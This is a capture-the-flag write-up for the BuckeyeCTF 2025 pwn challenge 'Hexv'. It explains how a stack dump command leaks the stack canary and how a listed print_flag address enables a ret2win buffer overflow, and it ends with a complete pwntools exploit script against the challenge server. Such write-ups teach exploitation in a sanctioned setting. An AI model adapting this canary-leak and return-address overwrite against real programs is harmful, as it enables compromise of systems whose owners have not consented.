BuckeyeCTF2025 pwn/Hexv
pwn/Hexv
BuckeyeCTF 2025 - Pwn Challenge
Quick summary
This is a pwn challenge. We don’t have the source code, only a network connection (nc / netcat) to a binary that exposes a few interactive commands.
The description says that the usual protections are enabled (stack canary, NX, possible ASLR/PIE, etc.). The goal is to exploit a buffer overflow to overwrite RIP with the address of the print_flag function (which is disclosed via the funcs command) in order to print the flag.
It’s not as simple as just overwriting RIP, because there is a stack canary. We first need to leak the canary so we can rewrite it correctly.
Connection to the challenge:

The funcs command lists the functions and their addresses; we can see print_flag there (useful for the ret2win).
Technical details
Observations
The dump command prints a dump of the stack (in hex) and accepts an argument consisting of characters that are written into memory. We use this to fill our buffer and trigger a controlled overflow.
In the dump, we can spot the area where our characters (0x41 = ‘A’) are written, followed by the canary (8-byte value, in red) and then the saved return address (RIP, in blue).
Here the canary is easy to spot because it’s highlighted in red, but otherwise we can recognize it by the leading null byte followed by 7 other bytes.

If I send a long string of A, the binary crashes and prints:
>> dump AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
┌────────────────────────────────────────────────────────────────────┐
│ Memory Layout │
├────────────────────────────────────────────────────────────────────┤
│ 0x7ffc8cb39500 64 75 6d 70 20 41 41 41 41 41 41 41 41 41 41 41 │
│ 0x7ffc8cb39510 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │
│ 0x7ffc8cb39520 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │
│ 0x7ffc8cb39530 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │
│ 0x7ffc8cb39540 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │
│ 0x7ffc8cb39550 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │
│ 0x7ffc8cb39560 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │
│ 0x7ffc8cb39570 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │
│ 0x7ffc8cb39580 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │
│ 0x7ffc8cb39590 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │
└────────────────────────────────────────────────────────────────────┘
>> quit
*** stack smashing detected ***: terminated
This confirms the buffer overflow.
Strategy
1 : Find the offset: the number of bytes needed to reach just before the canary (fill the buffer without overwriting the canary).
2 : Leak the canary and the address of print_flag, since we must know the exact canary value to rewrite it unchanged.
3 : Build the final payload: :
dump + padding + CANARY + saved_RBP (8 octets) + adresse print_flag (p64).
4 : Send the payload and get the flag.
Finding the offset
By calling dump with a large number of As (e.g. dump AAAAA…), we see several lines of 0x41 in the dump. We just increase the length until we find the first write that overflows right up to the canary.
Here, the OFFSET = 115: that’s the number of bytes to send before reaching the canary.

Leak
Leak canary
The dump command directly shows us the canary in the stack dump, so we just need to parse it with pwntools.
Leak print_flag
To get the address of print_flag, we send the funcs command and parse the address of that function from the output.
Triggering the overflow
To actually trigger the overflow, we need to enter the quit command after sending our payload. Then the flag is printed.
Final exploit script :
from pwn import *
import re
HOST = "hexv.challs.pwnoh.io"
PORT = 1337
OFFSET = 115
context.log_level = "info"
io = remote(HOST, PORT, ssl=True, sni=HOST)
io.recvuntil(b">> ")
io.sendline(b"funcs")
out = io.recvuntil(b">> ", drop=True)
out = re.sub(rb"\x1b\[[0-9;]*m", b"", out).replace(b"\r", b"")
PRINT_FLAG = int(re.search(rb"(0x[0-9a-fA-F]+)\s+print_flag\b", out).group(1), 16)
log.success(f"Fonction print_flag à {hex(PRINT_FLAG)}")
io.sendline(b"dump " + b"A" * OFFSET)
out = io.recvuntil(b">> ", drop=True)
clean_out = re.sub(rb"\x1b\[[0-9;]*m", b"", out).replace(b"\r", b"")
hex_lines = re.findall(rb"0x[0-9a-fA-F]+\s+((?:[0-9a-fA-F]{2}\s+)+)", clean_out)
all_bytes = []
for line in hex_lines:
hex_values = line.decode().split()
for hex_val in hex_values:
if len(hex_val) == 2:
all_bytes.append(int(hex_val, 16))
canary_start = 115 + 5
canary_bytes = all_bytes[canary_start:canary_start + 8]
CANARY = bytes(canary_bytes)
log.success(f"Canary trouvé : {CANARY.hex()} ({hex(u64(CANARY))})")
payload = b"dump " + b"A" * OFFSET + CANARY + b"\x00" * 8 + p64(PRINT_FLAG)
io.sendline(payload)
io.interactive()
And the final run:

Written by NumberOreo